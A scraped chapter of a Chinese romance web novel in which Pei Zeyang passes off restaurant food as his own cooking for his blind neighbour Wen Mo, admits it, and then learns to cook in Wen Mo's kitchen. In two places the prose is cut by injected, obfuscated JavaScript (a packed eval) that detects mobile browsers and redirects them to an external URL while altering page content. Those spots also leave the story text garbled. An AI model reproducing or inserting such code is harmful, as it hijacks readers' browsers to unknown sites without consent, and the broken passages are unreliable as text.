从某种程度上来说,裴泽扬应该算是个很自信的人。第一次做饭,虽然有可能失败,但他是做饭天才的可能性也不完全是零。 万一他就是有这方面的天赋呢? 反正到时候谁做得好吃,就将那份拿给温墨吃就好。 裴泽扬还是希望自己能成功。 他想做饭的意义就是希望温墨能喜欢吃他做的饭。他能够帮到温墨,让温墨觉得他很靠谱,很厉害。 …… 进而变得崇拜和依赖他。 还对他笑。 裴泽扬觉得温墨笑起来很可爱,他有两颗尖尖的小虎牙,笑的时候眼睛也会弯起来,像月牙似的,非常可爱。 “……” 好了,别想了,开始干正事。 裴泽扬从幻想中恢复正常,找了个教程边学边做,难得认真的劲堪比当年高考,满怀信心,志得意满。 四十分钟后,他打开电饭煲。 粥水番薯分离,没有半点融合的迹象。 胡萝卜咸了。 秋刀鱼糊了两条,还粘在锅底。 “……” 行。 他不是做饭天才。 裴泽扬坦然接受了自己的失败,面无表情地全部倒进垃圾桶。为了避免被温墨闻到,他连垃圾袋都打了个结。做完后,正好送餐的电话响起,他开门去拿。 温墨就在客厅,裴泽扬开关门的动静很轻,尽量不想引起他的注意。可温墨还是听到了,转过头,正好和拿到餐的裴泽扬“对视”上。 ——裴泽扬抬头时,温墨正好转头。 “裴泽扬?”温墨喊他。 “嗯,是我。”疑似被当场抓包,裴泽扬语气很不自然,“拿了点东西,你继续看,待会饭好了喊你。” “好。”温墨没有放在心上。 裴泽扬回到餐厅,将买来的餐倒在盘子里,转身看向还在客厅的温墨。 温墨这会儿已经不像先前那样乖巧,正襟危坐的模样了,而是歪歪扭扭地斜靠在沙发的一角,怀里抱着昨天从行李箱里拿出来的那只玩偶。 玩偶的身体和手脚都长长的,温墨纤长的手臂环绕在它身上,歪着头靠在一起,下巴搁在玩偶身上,聚精会神地听着,偶尔听到有趣的地方,他的双眸弯了弯,双手去抓玩偶的耳朵。 看着心情不错,无忧无虑。 裴泽扬觉得这才是温墨原本的模样。 他的目光停留在温墨的身上,过了好一会儿才开口:“吃饭了。” “来了。”温墨立马应声。 他从沙发上下来,抬手想要去摸旁边的盲杖,但他却先摸到一个宽阔温暖的手掌。 手的主人将他拉起来。 “在家里也要用盲杖吗?”裴泽扬问他。 “也可以不用。”刚刚就是一个下意识的行为,现在听到裴泽扬这样说,温墨也很有小孩子心性地想要表演一手。 他松开裴泽扬的手,摸着周边的家具慢慢走过去。步子慢,但每一步却都很稳,直到他的双手摸到了桌椅,温墨坐在餐桌前炫耀:“看!” 裴泽扬:“……” 好端端地问什么问。 “很厉害。”裴泽扬看了一眼自己的手掌,夸奖他。 温墨很开心。 餐桌上,裴泽扬已经盛好了一碗粥,香甜清爽的米粥香味蔓延,温墨低下头,闻了闻带着热气的粥香。他尝了一口,米粥黏稠,番薯也熬得软糯,非常好吃。 “你的厨艺这么好!”温墨很惊讶。 裴泽扬的厨艺比他好太多了,温墨也是刚学做饭没有多久,做出来的东西远没有裴泽扬的水平。他不吝啬自己的夸奖,包括胡萝卜和秋刀鱼,都做得非常美味。尤其秋刀鱼,焦香清爽,佐配柠檬汁,又鲜又嫩,带点儿独特的酸味。 温墨很喜欢。 “真的好好吃啊。”他对裴泽扬竖起了拇指,“你好厉害。” 他原本还想说,裴泽扬这样照顾他,他也要投桃报李。等到周一,对方去上课后,晚上他也可以给裴泽扬做饭。 这样下课回来就有晚餐吃,裴泽扬肯定也会跟他一样高兴。 温墨美滋滋地做好了打算,但是现在,尝过裴泽扬做过的饭后,他觉得裴泽扬肯定不会喜欢吃自己做的饭。 他的手艺很普通,听着教程也会翻车,偶尔放多了酱油,或者放多了盐,还经常信心满满地自我发挥。 哎呀。 哎呀,好苦恼啊。 打算好的计划泡汤了,温墨在心里叹了一口气,但他面上却吃得十分开心。 因为真的很美味,裴泽扬还给他准备了海苔肉松加到粥里面提味。 之前开门拿东西,应该就是拿这个。 温墨喜欢吃裴泽扬做的菜,给的情绪价值也很足。 可裴泽扬却并没有温墨想象中的那么开心。 他预想过温墨的反应,和现在差不多。裴泽扬想看见温墨开心,崇拜,夸奖的样子,也想让温墨觉得他很靠谱。但是…… 现在看到了,他没有想象中的高兴,反倒觉得有股闷气堵在胸口似的,很不是滋味。 这大概是因为温墨实际上夸的是别人。 很快想通,裴泽扬有点吃醋,问他:“很好吃吗。” “很好吃啊。”温墨回答。 确实美味,但他夸得这么厉害,最重要的还是因为这些菜是裴泽扬亲自做的。 付出劳动的人应该得到鼓励。 他要鼓励裴泽扬! 裴泽扬是掌管厨房的神! 裴泽扬:“……” “好吃就多吃点。”裴泽扬脸色有点不好看,但丝毫不耽误他给温墨剃鱼肉。 他将一碗剔好的鱼肉推到了温墨的手边。 “不用这样啦。”温墨连忙说,“我能自己吃的。” “秋刀鱼没多少刺,不麻烦。” 顿了顿。 温墨没有拒绝他,开心地向他道谢:“就这一次哦。谢谢你。” 裴泽扬“嗯”了一声。 温墨继续低头吃饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416152|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “其实今天的菜不是我做的。”裴泽扬忽然开口。 啊? 温墨的动作停下。他愣住了,没明白裴泽扬的意思。 裴泽扬继续说:“这是我在餐厅点的菜。” 他还是告诉了温墨。 “因为我不会做饭,以前没有做过。”裴泽扬语气有点懊恼,还有很明显的不服气,但很快,他说的声音变低,有点儿心虚。 但心虚中依旧是不服气居多。 因为他觉得,只要再给他多点时间,他也能让温墨觉得他做的饭好吃。 裴泽扬懊恼自己能力的不足,不想在温墨面前表现出来,又不得不说。 这让他很矛盾。 “我不是故意的,到了做饭那步才想起来,后面尝试做过,但失败了,所以让人送餐过来。”裴泽扬将事情原原本本地说出来,告诉了温墨。 “这样啊……”温墨张了张嘴。 “你会不会觉得我是一个很不靠谱的人?”两人几乎同时开口。 他不想给温墨留下这种印象,但他也不想欺骗温墨,听着温墨夸别人。 “没有啊。”温墨思考片刻后回答他。 裴泽扬抬了下眼,有点意外。 刚刚那番话,他自己说出来都觉得有病。 争着抢着要干活,要做饭,结果却不会做饭。 不知道温墨怎么想,反正这事儿放他头上,他会觉得是挑衅,怀疑对方居心不良,在故意玩儿他。 甚至不只是他。 裴泽扬相信,换了任何一个他的朋友,他们都会这样想。 可是温墨没有。 温墨看上去不仅没有生气,还说没觉得他不可靠。 “真的吗?我还骗了你。” 裴泽扬觉得自己在温墨面前总是很奇怪,他明明只是意外温墨的回答,但话说出口却变成了给自己加码罪行。说完后,他的表情像是吃了苍蝇一样,而且苍蝇还是自己亲自喂下去的。 裴泽扬表情精彩。 “不算骗啦。”温墨仔细回忆了一下,发现裴泽扬从头到尾,似乎就没有说今天的这顿饭是他做的。所以应该不算骗。 其实这些都不重要啦。 这都是些小事,根本算不上骗,没必要说得那么严重。 温墨压根没放在心上。 虽然他确实有点不太能理解怎么连会不会做饭都能忘,但他也相信裴泽扬肯定不是故意的。 “下次这种事直接跟我说好了,你不会可以让我来做,没必要在外面点。” “要是不放心我,你可以在旁边看着。”温墨对他说。 “不会有下次了。”裴泽扬听完立马表示,“我会很快学会。” “嗯,我相信你!”温墨鼓励他。 “真的?”裴泽扬望着对面的人,额发下的黑瞳又恢复了神采。 “真的啊。”温墨猛猛点头,“好啦,先吃饭吧。” “等会儿我吃完饭就回去练习。”裴泽扬说。 温墨刚想说好,裴泽扬忽然又话锋一转:“不,我现在就去。” 连饭都顾不上吃了。 温墨愣住。 他还想说点什么,但裴泽扬已经起身,离开前还不忘叮嘱温墨:“吃完饭你把碗筷放在桌上,我很快就来收拾。” “砰”的一声轻响传来。 门被关上。 温墨:“……” 呃。 啊。 这…… 这么强的行动力吗? 温墨忍不住感慨。 11. 告别 温墨感叹裴泽扬的行动力之强,面向门口的方向愣了好一会儿,这才收回目光。 好吧。 这样其实也挺好的。 温墨没有追上去。 他没有像先前阻止裴泽扬去社区登记那样,追到裴泽扬家拦住他,说自己有自理能力,完全不需要裴泽扬对他做到这种程度。 他不想那样做,因为他发现……比起努力适应一个人的独居生活,坚强地应对生活中出现的各种意外和困难,不给任何人添麻烦,他更加喜欢的,是被人关注,被人关心,以及无微不至的陪伴。 是的。 他更喜欢这样。有人陪伴,有人照顾,有人在意着他。 尽管他知道自己不应该这样理所当然,可是从小的生活环境就是如此。父母爱他,对他悉心照料,陪伴着他,从来不会让他觉得孤独,寂寞,无助。 他回到家就有饭吃,妈妈给他洗喜欢吃的水果,让他自己玩一会儿,马上就吃饭。 会有人跟他说话,听他说在学校里面的趣事,新认识的朋友,今天做了什么。 家里总是很热闹,他不用操心很多事,只需要开开心心地过好每一天就好了。 这段时间,温墨总是对自己说要坚强,努力学着长大,自己照顾自己。可是实际上,他更喜欢的,还是过去无忧无虑的日子。 所以他不想阻止裴泽扬。 不想再回到过去一个人孤独无助的生活,也不想阻止裴泽扬对他的好。 虽然他和裴泽扬只认识短短的三天,对方也不像他以前认识的话唠朋友一样对他一直说个不停,但存在感却是异常的强烈。 裴泽扬无时无刻不关注他的身影,落过来的眼神,在路过他时还会特意停下脚步,看他在干什么。尽管没有说话,可这些目光都好似有了实质,渗透进他的感官里,让他去在意,感受裴泽扬的存在。 他不再觉得孤独。 裴泽扬强势侵入到他的生活中,无处不在的身影也不让他觉得反感。 温墨很轻易地便习惯了裴泽扬的存在,现在裴泽扬走了,房子里重新安静下来,反而让他很不适应,觉得家里空落落的,安静得仿佛缺失了什么。 不喜欢这样的感觉。温墨垂下眼,继续吃饭。 他想下午去裴泽扬家里,跟他一块儿学习做饭。朋友间互相串门件再正常不过的事情,他又不会给裴泽扬添麻烦,他不会给任何人添麻烦的—— 门铃的声音忽然响起,打断了温墨的思绪。 温墨愣了一秒。 不是去学做饭了吗?怎么这么快就回来了? 温墨直觉应该是裴泽扬在外面,心情一秒好转,像只小鸟似的扑腾起来,着急去开门:“我来了我来了!” 活泼漂亮的小鸟打开门:“裴泽扬,是你吗?” “……嗯。”门外的人应了声。 相比于温墨高兴的模样,裴泽扬看上去则显得比较尴尬。他揉着脖子,一秒八百个假动作,耳廓微红地别开眼,不太好意思地说:“那什么,我才刚搬过来,厨房没有东西。” 袁宸这个房子买来压根就没有住过,里面除了一张床外,连个像样的家具都没有,更何况厨房用品了。 …… 这怎么想都是袁宸的错。 裴泽扬发现,每次他想为温墨做点什么的时候,总是会出现各种麻烦,显得他不是那么靠谱和成熟。 很懊恼。 眼下却也没有更好的办法,只能找温墨借。 “能借用下你的厨房和食材吗?” “可以啊!”温墨欣然答应! 裴泽扬又回来找他了,他很开心,眼眸弯得像月牙一样好看:“当然可以了,随便借,你想借多久都可以!” - 下午,裴泽扬用温墨家的厨房和食材学习做饭,温墨则是在客厅,翻出了他许久没有碰过的黏土。 温墨从以前就很喜欢做这种手工活。先天失明的人,从来没有见过这个世界,对所有事物的认知,全部都靠用手摸索,再在脑海中想象。 他很喜欢将自己想象中的东西捏出来,再分享给别人看。 无论是否一致,他都觉得很有意思。 不过他的黏土技术似乎不怎么好,以前就有人说过形状很奇怪。温墨也不在意,就当是个爱好在手里捏着玩,偶尔被纠正还会觉得开心。 刚捏好一只小狗,前方响起脚步声,紧接着一道身影倾覆下来,将他几乎笼罩。 温墨感觉到了裴泽扬的靠近,仰起脸,还没来得及说话,一块炸鸡柳便喂到了他的嘴里。 “怎么样?”裴泽扬问他。 “很好吃啊。”温墨猛猛点头。 这次鸡柳炸的火候刚刚好,不像上次,咬一口都是小碎渣。 温墨竖起大拇指:“一百分!” 裴泽扬紧皱的眉头终于松开了。 他又给温墨喂了一颗饺子。 这种循序渐进,学习做饭的方法是温墨教他的。 温墨跟他说可以先从半成品做起,做好半成品也不容易,一步步慢慢来。裴泽扬很听话,按他说的照做,总算是成功了一次。 “真的很好吃,你学得好快啊。”温墨夸奖他。 “不过你好高啊,你可以在这里坐下。”仰着脑袋说话有点儿累,温墨往旁边挪了挪,给裴泽扬让出位置,让他坐在自己身边。 “还有吗?”温墨问。 最近因为生病的原因,他每一餐都吃得很清淡。现在恢复精神之后,胃口好像也一起跟着恢复了,他被炸鸡柳勾得有点儿馋,想吃点有味道的。 “还有几根薯条。”温墨的夸奖让裴泽扬心情不错,但他依旧牢记着出院前的医嘱。 这几天温墨要吃得清淡,所以炸物他没有准备多少,也就只有两几根炸鸡柳和薯条而已,数量都不算多。 “好吧,薯条也行。”一整个下午,被投喂得多了,温墨也从不好意思变成了会主动让裴泽扬喂他。 “啊——” 裴泽扬:“……” 原本他还想说薯条没有炸好,但温墨都张开了嘴,他也就只好喂进去。 “唔,炸得有点久了。”温墨宛如一个美食家,品尝过后,认真给出自己的感受。 “嗯。”裴泽扬从他的嘴唇上回神。 温墨的感冒应该在好转,脸上该有的血色也都恢复了。原本苍白的嘴唇,此刻变成了淡淡的粉色,刚刚吃炸鸡柳时舔过嘴唇,所以嘴唇看上去水润润的,下唇微微鼓起,有些许肉感。 裴泽扬觉得自己不是变态,温墨嚼东西的时候嘴唇在动,他很自然地便被吸引,没忍住多看了一会儿。 软软的。 不知道碰上去会怎样。 …… 靠。 这都是些什么乱七八糟的。 他绝对不是变态。 “和鸡柳一块儿下锅的。”裴泽扬震惊自己是不是变态,有些心不在焉地回答。 “不能炸这么久。”温墨丝毫不觉,还在教他,“薯条比鸡柳更容易熟,放下去几秒就可以捞起来了。” 裴泽扬嗯了一声:“好,我知道了。” “休息一会儿吧,你已经练习很久了。”温墨拽着裴泽扬的手臂,不让他走,另一只手去茶几上摸东西,“给你看我捏的小狗。” “小狗?”裴泽扬望过去,愣了愣。 “嗯?对啊,怎么了,捏得不像吗?”听出了裴泽扬语气中的异样,温墨拿着小狗,好奇地问他,“哪里不像?” “没有不像。”裴泽扬说,“你捏的狗是绿色的。” “嗯?绿色的吗?”温墨先天目盲,从来没有看过这个世界,他对颜色本来应该没有概念的。但他有个很会教的妈妈,妈妈有教过他感受颜色。 比如,红色是辣椒的颜色的。西红柿,红枣,还有过年时家里的对联,红包都是红色的,红色是个很热情,很温暖的颜色。 绿色是青草和树叶的颜色,很宁静,清新,自然。 植物是绿色的。 狗狗不是。 温墨问裴泽扬:“那狗应该是什么颜色?” 裴泽扬想了想:“什么颜色的狗都有,常见的应该是白色的?” 对对对,狗是白色的。 温墨想起来了,妈妈跟他说过,白色是雪的颜色,干净,蓬松,柔软。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416153|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>狗狗就很蓬松,毛也软软的。 “除了白色还有其他颜色吗?”温墨继续问,“你知道哈士奇是什么颜色吗?” “黑白,红棕,浅灰。”裴泽扬说,“你喜欢哈士奇?” 这倒挺出乎他意料的,他还以为温墨会比较喜欢金毛那种脾气好,乖巧又亲人的类型。 “狗狗我都喜欢。”温墨笑了笑,“以前的邻居弟弟养哈士奇,我偶尔会遇到他们,更熟悉一点。” “以前的邻居?”裴泽扬问道,“你以前不住在这里?” “对啊,以前住在另外一个小区。”温墨单纯得对人没有半点防备之心,裴泽扬问什么他回答什么,没问的也主动告诉他,“我住在河滨花园。” “那个房子比较大,我就租出去了。” 毕竟他出院之后没有回学校,也没去找工作,总不能坐吃山空吧,多少也得有点收入。 他租出去的那套房,房租大概两万出头一点,对温墨来说算是很大一笔收入。 不过这也只是一部分的原因。 最主要还是因为一个人住大房子实在是太空了,温墨受不了这种孤独,他很害怕孤独。他也受不了熟悉的房子里,到处都是父母存在的痕迹,却又见不着他们。 温墨很难过。 住在家里的每一天都让他觉得难过,悲伤。 所以他委托了亲戚找中介出租,自己搬到了相对小一点的二居室里。 虽然搬新家对他来说很不适应,也很困难。可是搬出来后,他的心情确实好了不少,从父母双亡的悲痛中慢慢恢复,还认识了新的朋友。 现在他的新朋友往他手里塞了两团黏土。 “黑白。”裴泽扬对他说。 “哦哦。”温墨明白了,摇摇晃晃地点头。 他继续忙碌他的小狗,裴泽扬休息了一会儿,也很快回到厨房。 捏黏土的过程中,裴泽扬又给他投喂了好几次,从半成品进化到了简单的快手菜,温墨试菜试得肚子圆滚滚的,晚饭都不用吃了。 晚上八点,裴泽扬给他喂完药,还是有些不放心地问:“真的不吃晚饭了?” “真的真的不吃了。”温墨摸着自己圆滚滚的肚皮,就差打嗝了。 “……”裴泽扬看着他的动作,错开视线,“行。” 现在时间已经很晚,差不多也该回去了。 温墨这里没有第二张床……不对,就算有,他也不会厚着脸皮住下。哪有在邻居家里住下的,他又不是没家。 “我回去了。”裴泽扬说。 “好哦。”温墨点头。 他送裴泽扬到门边,两人告别,正准备关上门时,裴泽扬忽然问他:“明天你想出门吗?” “嗯?”温墨没明白,问道,“什么?” “去哪里?” “超市。”裴泽扬说,“冰箱里的食材差不多快被我用完了,如果你想出门的话……我们明天一起去超市?” “!!!” “好啊!”温墨很高兴地答应下来。 他超级想出门的! “约好了哦。”温墨很开心,“明天你来找我。” 明明只是很简单的一起去逛超市,可是温墨用约这个字……裴泽扬的心跳有点变快,脸色也变得很不对劲,僵在原地,没有半点反应。 温墨没有察觉。 他现在只觉得现在时间很晚了,裴泽扬在他这儿忙活了一整天,差不多该回去睡觉休息了,明天才有好精神一起去逛超市,没准还能出去玩。 想到这里,他迫不及待地想让裴泽扬回去好好休息。 他和裴泽扬告别:“明天见。” “拜拜。” “今天晚上好好休息啊!” 门关上了。 裴泽扬却久久地站在门口没有离开。 他此刻正脸色古怪地思考一个严肃的问题。 这算约会? 不对吧。 他好像只说了明天一起逛超市。 可是温墨都说了约好…… 那应该也算。 所以他明天要和温墨约会了? 裴泽扬倒吸了一口凉气。